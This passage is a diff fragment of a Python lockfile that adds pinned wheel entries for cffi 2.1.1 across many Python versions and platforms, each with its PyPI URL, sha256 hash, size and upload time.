+ { url = "https://files.pythonhosted.org/packages/a3/b9/0f2e58b2cefa33255bff36935d42b13180fe559bba82596540eb404bde7d/cffi-2.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5a59cc1c4442bc3d5c703bf720b51138d0bfc173618807c9ee2490a7541dd3d9", size = 218652, upload-time = "2026-08-03T21:19:18.735Z" },
+ { url = "https://files.pythonhosted.org/packages/37/15/180e0dab27b9312c7479003d14c9e547634b7dcb934e2cc4650e1b131a7a/cffi-2.1.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:9f8d177621de5cb38ee3e731eda45d421db093ec0739f46a5594babda7987a98", size = 205422, upload-time = "2026-08-03T21:19:19.96Z" },
+ { url = "https://files.pythonhosted.org/packages/18/d4/03026f0c850cbbaa9030750490225b4a7f4d524ea4df72c3cc740a90f4ef/cffi-2.1.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:75f80557d1389eddbd0de2681f6a390a0c5338c31ddaa821381c203fc3fd50d9", size = 205444, upload-time = "2026-08-03T21:19:21.246Z" },
+ { url = "https://files.pythonhosted.org/packages/75/77/60bebf6f818bec84210ac5b6979ce4eeadce6fbbaabc9c7ab23e506d1ce5/cffi-2.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:194cffa889098ced9976c3fc6340305e43f6303657d298da55366907c05c22d6", size = 218742, upload-time = "2026-08-03T21:19:22.523Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/ae/679bf47e73fd77b352171727f07de559a003f14de5d02b904a6ec1fa73ca/cffi-2.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5bb4e7ea95dcd6a014a6fef62e62467d67d8e582326443f3d68e71d6320a9fcf", size = 221054, upload-time = "2026-08-03T21:19:23.694Z" },
+ { url = "https://files.pythonhosted.org/packages/09/b8/eefc0e06913b70aa153bf74c946094a18f58fd4aff11b7f372bfdfdca050/cffi-2.1.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3d22a20b1fb1632cc72c22f95f7b0d2961c3e1c235f245ba4c606c4771035659", size = 213489, upload-time = "2026-08-03T21:19:24.922Z" },
+ { url = "https://files.pythonhosted.org/packages/6f/13/4e56852824a03cdf68523a35686f1c28eacd4bd30a7b0a78e682e6e6e1d3/cffi-2.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:1dea0e4d7d4f11f619fe8c1d76caf49e24405b4b5743c0e3be16a500ecd930c9", size = 220241, upload-time = "2026-08-03T21:19:26.214Z" },
+ { url = "https://files.pythonhosted.org/packages/99/7f/040f9e163e4acac3ee3d85b02d00b2576e7ca980d8785f0a3a5f1a9bf7f5/cffi-2.1.1-cp310-cp310-win32.whl", hash = "sha256:7ce713ace7c0e4520535b42b77eaa742c16dab813978064913e5a3cf82973b41", size = 174578, upload-time = "2026-08-03T21:19:27.338Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/0b/644a2ec1a4eaba49c2939410bb1eb1d25b09d6d0582f5d2f95c537043725/cffi-2.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:a48d62ab9d6f4f98c983223a547af44be6ca3691074c31cecced6facd3ba2dc1", size = 185082, upload-time = "2026-08-03T21:19:28.409Z" },
+ { url = "https://files.pythonhosted.org/packages/70/d2/16d99a0c4948febc0ebd133a13b2f688ff7f8cb04da971e1128872ce0c03/cffi-2.1.1-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:c8d2c9fd1f2d16f780d15127abb050d13d1a76c03a4bd87d7e4980e45e511e12", size = 183838, upload-time = "2026-08-03T21:19:29.637Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/95/31b535a9f0220ae9f357de4a08d57ce89cb417653c2fd9f075f50822a388/cffi-2.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:398aff33cee2767e3e781d2554c54bd0dff386bb437581e0d8011fde1a942ec1", size = 184168, upload-time = "2026-08-03T21:19:30.764Z" },
+ { url = "https://files.pythonhosted.org/packages/ad/5a/4707a0dc1f203f5dde5a907b0d4e3c25d71120241048bd5bc6f1bb9d4e71/cffi-2.1.1-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:154852545011f779917b11c78db2358d095da62a9a172b78ad0a583ee5adc0d0", size = 211805, upload-time = "2026-08-03T21:19:31.867Z" },
+ { url = "https://files.pythonhosted.org/packages/ad/66/c19feabb28485b6e0bbaaafa90837a1ef5d302e90f2178bd33f17a49879b/cffi-2.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3311ed60d36f83378794e1009ac6258bafbf81f7888b4caa7b35a521e3f95813", size = 218716, upload-time = "2026-08-03T21:19:32.896Z" },
+ { url = "https://files.pythonhosted.org/packages/a7/92/500760486c8baab49a7a8a58ba7fc3355ec3974b454b8a09e528efde9e1d/cffi-2.1.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6e192623c49c94421616a5778fba35cf0d5a8d000650c1967ef4448ee5cdd990", size = 205569, upload-time = "2026-08-03T21:19:34.142Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/a7/a67c733254d6e7373f7822f8082d8d6beade791e0cf12a7611f376fa61c7/cffi-2.1.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a6e721d4b0e45d5b65e87534470e67b18dcd092c83f68fba09f152b9cbc061af", size = 204907, upload-time = "2026-08-03T21:19:35.174Z" },
+ { url = "https://files.pythonhosted.org/packages/f7/a4/4399daaf8f7dfee9d7c3327fdb0426ee041cc63edc358b93911ceb2bfc7a/cffi-2.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:34e261f78cb6ceaaa36f42f2613f4380d94d9c759a9c73c769ee6e0247364632", size = 217807, upload-time = "2026-08-03T21:19:36.286Z" },
+ { url = "https://files.pythonhosted.org/packages/28/f7/dabe6da2466ecbd82dc62e7342dc6b1065dad990c06f00f0ede9ebf2a0ed/cffi-2.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7225e4514edb64eb6740324353e0da0711954fd8d7da4576755b1c6e09b697cd", size = 221252, upload-time = "2026-08-03T21:19:37.416Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/87/616202d8e51342c07d2534c510111c4cc37201775ce8f60802c9335d1edd/cffi-2.1.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:df913725b79db7bcf03448f36b7bf8815363417d5b58deecf9305e3e30f0f21a", size = 214214, upload-time = "2026-08-03T21:19:38.507Z" },
+ { url = "https://files.pythonhosted.org/packages/b4/c6/ab025d75d2c26c19b087c0124e75ee31cb65032f4fe345d356d8c507ab97/cffi-2.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f5cfbc5fe74540d335175b656c725d74d90e3730c626d92575eea35029d9afaa", size = 219408, upload-time = "2026-08-03T21:19:39.809Z" },
+ { url = "https://files.pythonhosted.org/packages/db/e2/7e8109f65445bdc673a7b54f02c677de462db75674220fd1335efc8eb598/cffi-2.1.1-cp311-cp311-win32.whl", hash = "sha256:f8ec5e643a9a937f64e1999eb9f75d072263751912dc5cd06d3c85f8f44be7c3", size = 174470, upload-time = "2026-08-03T21:19:41.246Z" },
+ { url = "https://files.pythonhosted.org/packages/73/c0/77ba02423c2f7d7091143c45cd49e0e6575c4c1967394bb542bd923a9b74/cffi-2.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:42f6930c31dc7f50732c9ae793c2786c7b6b044195967bbdde40bb9be81c4cc0", size = 185096, upload-time = "2026-08-03T21:19:42.615Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/47/9f1f85f9672ceda4984dc6c4f8824e8558992a2972c3d3c81fb8eb28d4ba/cffi-2.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:c7659f22557c5a0bc4855cd635f55edec690cc008a40768527762cb9fb263455", size = 179941, upload-time = "2026-08-03T21:19:43.747Z" },
+ { url = "https://files.pythonhosted.org/packages/10/69/43965eccfdead3b9220015fd1320e117be8c6ed01a62ffab76eeb752f5d5/cffi-2.1.1-cp312-cp312-macosx_10_15_x86_64.whl", hash = "sha256:c8c69575568085ba0b1b10c0249d779a214aea6f6522e949a0fc9fb0fcb449d0", size = 184821, upload-time = "2026-08-03T21:19:44.887Z" },
+ { url = "https://files.pythonhosted.org/packages/54/7d/16e5a096677b5e313ca80cd5e5170efa3ea44624a82bb111925522da64b1/cffi-2.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f81b3b8f3d4e343550fa4baa0e479bba9f2d29ce9c2e9b51d1ce1718d7442fcf", size = 184719, upload-time = "2026-08-03T21:19:46.129Z" },
+ { url = "https://files.pythonhosted.org/packages/56/e6/8941622732edec876dd17d0453dce07317ae96db34f2ec1436c9d3785986/cffi-2.1.1-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:811bd1e21d32de12efca32393a0ab3f5133b54fce9bd44b8bd77ab07da14bf6a", size = 214799, upload-time = "2026-08-03T21:19:47.218Z" },
+ { url = "https://files.pythonhosted.org/packages/44/de/f98430906df1545ffde0d543dd124a7a439bc2cd32b36b9c53f805df7333/cffi-2.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:68e62fe11f30d5ca8289242866f0a5291402d8529ca2178ab8afc5c9694ae890", size = 222389, upload-time = "2026-08-03T21:19:48.331Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/5b/717f1526b9957b34456313c31645c5b82b8fb5c3fe9e4752999be7128bfc/cffi-2.1.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:4a7c934f7360e8cd64fe9efadcbd10c7c6364f531e432b9a4bf5ccbc9e0e8b50", size = 210249, upload-time = "2026-08-03T21:19:49.543Z" },
+ { url = "https://files.pythonhosted.org/packages/64/b3/f8aa4f3e34986c7e4ec45072d1b1b9dd295b6b18007b45518d79726dd725/cffi-2.1.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:3143d81e29e1e20a9ce10901ec369012947876596f75a222235965f2b7ae832e", size = 208775, upload-time = "2026-08-03T21:19:50.918Z" },
+ { url = "https://files.pythonhosted.org/packages/b1/db/dceb9dd5b231e1da801793f8acc9f3c52a7e1afe40bb1aae37e02b0faad5/cffi-2.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c1453022f490d2459a11819d83ad1d586e9ff65a12ac3e705ffebd46d3685dcf", size = 221822, upload-time = "2026-08-03T21:19:52.054Z" },
+ { url = "https://files.pythonhosted.org/packages/a0/d2/6cd24ae3be000a634109c247d1475d62e5616d0dc78c82770942ec384248/cffi-2.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:208f941bb9d18e768138677f0a6d2ce01f590df56043dda1df1535ac57c88517", size = 225232, upload-time = "2026-08-03T21:19:53.109Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/52/3fa190537004dd7f0ab860a6dc7c0175b8667f68d1e618a46f5498d30250/cffi-2.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:210019b6c7cf07f081b4c54635c8cf744377001350e29cc0f81c4377b4797735", size = 223597, upload-time = "2026-08-03T21:19:54.515Z" },
+ { url = "https://files.pythonhosted.org/packages/80/fb/0bb75b7039588c074b37ae99f40d9bfddf990ecb2fbc346ebccd2e56b9be/cffi-2.1.1-cp312-cp312-win32.whl", hash = "sha256:046bfc24911b37851ee1b51aab8bffe713d89c68c6a057b09484ce9fd5f69b4e", size = 175292, upload-time = "2026-08-03T21:19:55.566Z" },
+ { url = "https://files.pythonhosted.org/packages/d9/79/615cc094e2fb508cade7de88d3b4f6c4ec2bab695c97bce9153dc65aadf5/cffi-2.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:f53e442b08449d42821fa4a4fba000095af9f62742a500f978a9f557ec44339a", size = 185919, upload-time = "2026-08-03T21:19:56.89Z" },
+ { url = "https://files.pythonhosted.org/packages/70/c6/d0ea84713fe46b243a436a18fcd47d639732747e21635c8a27191b06dc30/cffi-2.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:7bde5e4cc5c10140859842b9d383af292b22639a4dffb725314baf45968cef80", size = 180093, upload-time = "2026-08-03T21:19:58.155Z" },
+ { url = "https://files.pythonhosted.org/packages/9d/f4/035513d4117049066b4779dc3b7c0c0fdad175fa13731c9f4003f1cd1478/cffi-2.1.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:b5bdfd1c873d4e093aabc0ca84c4ca6dbc4f752afb5c86f146d9742580c9da2e", size = 194248, upload-time = "2026-08-03T21:19:59.399Z" },
+ { url = "https://files.pythonhosted.org/packages/76/af/2aeb4dbb5fc41a04161ae9ff1518de7cec08e164f44a8ce6a4cf7fd2cd1d/cffi-2.1.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:31348097ff5bbe827ccc41795d4dd099d9f0625e7def00ee653c137a490c2a6c", size = 196908, upload-time = "2026-08-03T21:20:00.746Z" },
+ { url = "https://files.pythonhosted.org/packages/a7/46/2e5fdde8555706dd98139a910ca11be02809f3f605ce956f655d0214e100/cffi-2.1.1-cp313-cp313-macosx_10_15_x86_64.whl", hash = "sha256:9d2055050ea716bd38b7f7f1579c275386646b4894c155a3e2f3cd62ed41b7c6", size = 184805, upload-time = "2026-08-03T21:20:02.02Z" },
+ { url = "https://files.pythonhosted.org/packages/55/41/4c7042f317b9217502988f0873af87e16ad606dc20f84e546e3e6ce9764c/cffi-2.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:19ee6127ee34de7d83ce3d371ebc5ed91addbdcc39f9ab15ce4eb35a4e534971", size = 184764, upload-time = "2026-08-03T21:20:03.141Z" },
+ { url = "https://files.pythonhosted.org/packages/43/1f/1c3d90d91811c8f86ced9ed637956c54bfe5b79ca98fe976d7f8c8979f6b/cffi-2.1.1-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:6a8dddef476fab96d066d578fc88526767b836ab5ab21754e1d5bf3879c31c7c", size = 214722, upload-time = "2026-08-03T21:20:04.377Z" },
+ { url = "https://files.pythonhosted.org/packages/37/6f/3b5ce4c3b2192d250f04908f2bfd91ef34552ec8f7716a5d4abdb8d67bb2/cffi-2.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f16c709686a78c727bbbf059f92b0bf41c6fc60deec706d2dc19f529175a6125", size = 222369, upload-time = "2026-08-03T21:20:05.544Z" },
+ { url = "https://files.pythonhosted.org/packages/02/10/4b3c75dde3d9663c9e02ba05c2668b954f671d4bbe346413ca8c696b295a/cffi-2.1.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:fcd22650c908d7b7da162bbfaab594a1227a15d1643a98c68b122ac642fa2264", size = 210175, upload-time = "2026-08-03T21:20:06.75Z" },
+ { url = "https://files.pythonhosted.org/packages/df/62/14f74b9543e605d17701dc797b815958b8bb70b7624ce1b832ddad48ed6c/cffi-2.1.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:aa9511c62d14da7aacc9b4bf51f3f697a621e83b2d6919008243c3aad168eea3", size = 208670, upload-time = "2026-08-03T21:20:08.04Z" },
+ { url = "https://files.pythonhosted.org/packages/95/95/86342356ff5953b3fb06f7ef7c5bee212d45e770abc7218d451b9148313c/cffi-2.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a931079504ecc49efed7744c476a5c343a92fabf66dec2db95edb1b2fdc770e2", size = 221824, upload-time = "2026-08-03T21:20:09.274Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/ff/7b3429ff53aafe931ed8a5fc69f481bbef7ba6de87ddcbb63d08f483f613/cffi-2.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a2d7755bef5a12ed488f4ef1f1b69ee9191d7396083b755a5d2295f6edb4768b", size = 225148, upload-time = "2026-08-03T21:20:10.7Z" },
+ { url = "https://files.pythonhosted.org/packages/34/34/a95870b9221e09cf4f2ce3178b1a210abdfe63a1bd357da940418d7b8d15/cffi-2.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e0bcb7e0f677f543555d2adff3bf19c05f66cdb4796e5ff602442ab2fe3c4ef7", size = 223564, upload-time = "2026-08-03T21:20:12.165Z" },
+ { url = "https://files.pythonhosted.org/packages/70/ea/839b50531021a647fb5e929f72cf97bc1ff702b5472166164b5b6e76b851/cffi-2.1.1-cp313-cp313-win32.whl", hash = "sha256:334644fbac4eff73d985a17a91226df55d0f394160c4cfb880e084c8f7161cac", size = 175263, upload-time = "2026-08-03T21:20:13.559Z" },
+ { url = "https://files.pythonhosted.org/packages/60/a6/8b149b2c3f2e11aaa1618ef64500b45f50f22c57a977a4dff1aff1f91042/cffi-2.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:1aa5645c30469b09530c4ebca77ebf8f17618293c58f8549cb1a543a50236e7d", size = 185688, upload-time = "2026-08-03T21:20:14.69Z" },
+ { url = "https://files.pythonhosted.org/packages/01/9a/11f687cb39d6a3504060d5242f04f48c735afb4d3d533958a20594890cb2/cffi-2.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:63bbfd5ded17c4840ac07cd8f1c21ba9d9708141f840b324f422f41b207e3973", size = 180078, upload-time = "2026-08-03T21:20:15.917Z" },
+ { url = "https://files.pythonhosted.org/packages/d3/7b/d6bbf82b8b96e7391438898c42f5bd96dd02030fd5b64937d248220003e2/cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:7dbb61fe3a7699468030f71bbe5f8a0e326a151daa91beb11a6fc1f980c55e1c", size = 194064, upload-time = "2026-08-03T21:20:17.148Z" },
+ { url = "https://files.pythonhosted.org/packages/94/e6/bcc91b283be94735e268487a054004f0aa19947b6348fa367db53230abc8/cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:f24fb43132a4c6b4cb4eb029492919b2db645be6808d738f244fd146c03c32cb", size = 196720, upload-time = "2026-08-03T21:20:18.268Z" },
+ { url = "https://files.pythonhosted.org/packages/d9/99/c4b0c17cacdc9c3b8f280026286a9826d6a208c0f047591a3c3ce99b91fd/cffi-2.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:d28630f5854ab07ab1fd4aba756de52326c82e6be15d414b12793f1975048b54", size = 184964, upload-time = "2026-08-03T21:20:19.708Z" },
+ { url = "https://files.pythonhosted.org/packages/b3/a9/9db617d05d7367c1ad0ab00b3aa6e6f9281edd689b4ee9ea0e5a84e89c97/cffi-2.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72", size = 184962, upload-time = "2026-08-03T21:20:20.833Z" },
+ { url = "https://files.pythonhosted.org/packages/67/b8/b42132ca113dc567d37684437b46ca1dafc885902b02a110a02d5b511857/cffi-2.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1", size = 222328, upload-time = "2026-08-03T21:20:22.118Z" },
+ { url = "https://files.pythonhosted.org/packages/80/10/c5c0cbf0a657aecf59ef511409734230bf556f05a0d6c9eed7aa5c0a0166/cffi-2.1.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:456a61fa52d579ebf9df2e9552ead5129855dbaff6c1e5a9b1bc408809bdc062", size = 209985, upload-time = "2026-08-03T21:20:23.401Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/6c/bfa0b87b03b9238148beca990292843c9396ba069b54496596594173de7b/cffi-2.1.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a4f00aa42f75d6e4595e8866e748cc1705adc0cddfeb2ca86d0d03993d63ba03", size = 208530, upload-time = "2026-08-03T21:20:24.628Z" },
+ { url = "https://files.pythonhosted.org/packages/e9/02/4e7d553a7ac4b4238b38b3c1b80d486e9d4436f8d2acbf87a0997fe3f402/cffi-2.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b0431303acaea1089ad4b3e9ce4e6518193def1118d4073ca848635ee4ea2e96", size = 221525, upload-time = "2026-08-03T21:20:25.758Z" },
+ { url = "https://files.pythonhosted.org/packages/82/1d/a4aaf9babd75acb4d5f223bff71533bee748dd770a382619a798960ee9ba/cffi-2.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:64faea20f4e2613363a1a9b9c7dd73058f3ecd00133a511e72ad7c511658f527", size = 225053, upload-time = "2026-08-03T21:20:26.985Z" },
+ { url = "https://files.pythonhosted.org/packages/81/10/5dc0e7bdd18e22107054288283380fc97a06ae3f1656a106908d666a3c88/cffi-2.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5c58fe613dc5e5336357eff555824a314d8e43282600435c8d1cb6a7a2fedd13", size = 223213, upload-time = "2026-08-03T21:20:28.277Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/e9/d0061c364cde06ee43168a0d076ac1da512cbc380d44767b844ba34fe2b6/cffi-2.1.1-cp314-cp314-win32.whl", hash = "sha256:1a18a57b58cfb21fc28d72e876acf10eaed67a1ed96226f92af4df681d571c4c", size = 177682, upload-time = "2026-08-03T21:20:44.288Z" },
+ { url = "https://files.pythonhosted.org/packages/a7/06/1c3e01e3ba14c39f6d10bfbac52753b7e22259e38088e5cfe1d704918690/cffi-2.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:3222ba5d678f80a030e6afbcc33dc1ae5cb45facabb61cee2c7016b8432fde48", size = 187949, upload-time = "2026-08-03T21:20:45.623Z" },
+ { url = "https://files.pythonhosted.org/packages/87/5b/da4e39efe18eeb89cf580ea9cfc66b6a7c3eadb808fc0cc1d3a295cb5a5d/cffi-2.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:ab36d55f9ed2d067327667c2fea18dda018eb628dd6347aa01dda6cf1f5d3836", size = 182947, upload-time = "2026-08-03T21:20:46.955Z" },
+ { url = "https://files.pythonhosted.org/packages/23/59/40338bf421c5accea1d45158170c87006ef1cd371b05c077e76476949728/cffi-2.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:7750c6449dff7864bb9bb27ddfb0267756189201a3afc911d82b3caacd70dfc3", size = 188504, upload-time = "2026-08-03T21:20:29.495Z" },
+ { url = "https://files.pythonhosted.org/packages/7d/47/5ecf1023850036e674c77ec4de86182d309ae344e39e7cba984b7df5d647/cffi-2.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:0beceaabe56af686895136a2de78db54ecd8e4046b236b8fd6d6cb61389e9bf2", size = 188259, upload-time = "2026-08-03T21:20:31.291Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/9c/92934c3bea9f785b23eba304538c0b4d37a2a96d2431eb3a1bc87a11aa19/cffi-2.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:49cbc70e6542d4ccccb936558d1064a8012541e78f821f955cff24e357776c94", size = 223864, upload-time = "2026-08-03T21:20:32.571Z" },
+ { url = "https://files.pythonhosted.org/packages/4d/45/ba4c93527bc38616a8bd36488acb69a2212d60486794f0c1f318949bbb76/cffi-2.1.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e2d65b31f36619cda3999b78b2aa9632e76b78448e7a56fc4240824200e7c4fc", size = 211538, upload-time = "2026-08-03T21:20:33.808Z" },
+ { url = "https://files.pythonhosted.org/packages/80/e9/b6ef565e452acb932fb0cb5443f44a78efbd1233e566f02b5a83855e9115/cffi-2.1.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:28907ab9bfb6aa13184cfc17c6b8e1023c5ab6fd7076d8c20a35e59fe04f8f29", size = 210688, upload-time = "2026-08-03T21:20:34.974Z" },
+ { url = "https://files.pythonhosted.org/packages/9a/95/eff5f0cee78d2eabc7eebffec40d3fc1876b5f3c95582e018bb4b99601f2/cffi-2.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:51b31d1c98274844cfd7838ce00bfc27c7423a4dc00fc0772fc3331c2cc90676", size = 223803, upload-time = "2026-08-03T21:20:36.564Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/01/579d39fb8bef00a335a23d83757b44feb24cd6345a2c451b64cb67b9c362/cffi-2.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5e7cecbaadb83884793e05828cee59b210b24583b9c7425d0ba6a754fe22eb4e", size = 226763, upload-time = "2026-08-03T21:20:37.816Z" },
+ { url = "https://files.pythonhosted.org/packages/8d/b0/0b44f47c60b01b57b6e2bbd92343f13a85a1d93bc46ccf6e47e244acd99c/cffi-2.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:25792eac27877609e7bb06d42ff88278a6624fff2ba9bbb523c09616b117e80f", size = 225688, upload-time = "2026-08-03T21:20:38.959Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/d2/3b7176cb570a1d3e27faf67b72f591af508036e0d8b2be2ef9af9e8c84bb/cffi-2.1.1-cp314-cp314t-win32.whl", hash = "sha256:8ef53b2de9bcb9197d31854256575d59dbac0cba72ac627bb291ef5eceb74be4", size = 182868, upload-time = "2026-08-03T21:20:40.388Z" },
+ { url = "https://files.pythonhosted.org/packages/56/78/31f00c1bcd97c9bbf55f1bfdf5bc809a5de8887473e90bb9960dca825e80/cffi-2.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:616f097f2fe415bc92a247f02e11f634e1f9e9a83d327e3c915c15089c87869e", size = 194104, upload-time = "2026-08-03T21:20:41.725Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/1b/58496f2ed0a35de575250c02a43ab3cc2c04d494a88fed31c1cabc0fd176/cffi-2.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:ad2c86c495b899d862ea0f4b42891b8713a3bd45dd4105c7fd51c2a72f39f3a5", size = 186402, upload-time = "2026-08-03T21:20:43.042Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/8f/9ebe220eab48a093d1a5a5e339ab0dc7316eef3bb04d63c42f0251b61f50/cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:dddad92b554513a31f272570678ba307fb9f618f05e3d4a5eacafff9eae03e1d", size = 194043, upload-time = "2026-08-03T21:20:48.179Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/69/844bad3ece306c4782c2ecb93597035b6690d48704b803914c199da1e8b3/cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:da0e573f9f97159390c89d9f1a9e41908b66d408cc5b58d08cf3847d844c531b", size = 196737, upload-time = "2026-08-03T21:20:49.457Z" },
+ { url = "https://files.pythonhosted.org/packages/1b/8a/af668013284634733f02d683458a0728739c7d6ddb5e14cb0c20832266fe/cffi-2.1.1-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:fb92203a88b3d3053034db775110081c49d28be6551923805e039924093761e4", size = 184933, upload-time = "2026-08-03T21:20:50.639Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/75/2f5207ff6d1a613133b23a5203cc0c2a628313b5eb3974d7956ae3c57950/cffi-2.1.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:2ae64be792b8966f2c69538199728b290e34726562896df1e5dc8ffd8d8188e8", size = 185002, upload-time = "2026-08-03T21:20:52.173Z" },
+ { url = "https://files.pythonhosted.org/packages/e2/31/9e1313b0a6e30e91b3b3d3fff51ae99c857c07738e3afcce1f7334e1b7ab/cffi-2.1.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:507a24c282e0f42f8ed737cf048572cbf580468da5555764a8331735e9c736b6", size = 222271, upload-time = "2026-08-03T21:20:53.462Z" },
+ { url = "https://files.pythonhosted.org/packages/50/e3/f6234a833e6e08c7007003074723c406559eecf9b48dfc97471e5a8eb7a0/cffi-2.1.1-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:246fa40ce8645a614ff682e0b70f37134e460eaf93a775e0cbe3cca585a67a80", size = 209919, upload-time = "2026-08-03T21:20:54.783Z" },
+ { url = "https://files.pythonhosted.org/packages/0d/fc/5f74e293fced6edb51af3a46c4ccf6c23c9943774ecb375ddbd522c76add/cffi-2.1.1-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:471cee653ae88de62096552e6d24ccb4a5adb8c8c9f10b5054d0122c15bf2779", size = 208529, upload-time = "2026-08-03T21:20:56.066Z" },
+ { url = "https://files.pythonhosted.org/packages/44/16/29e6d01b388bef055ecd6ca8244b3f4d336bd09e92d5d892187b9601084e/cffi-2.1.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aeae0e330c9f6acd681f647d46cefd30c29f93e3392882e792e82080c9691399", size = 221630, upload-time = "2026-08-03T21:20:57.336Z" },
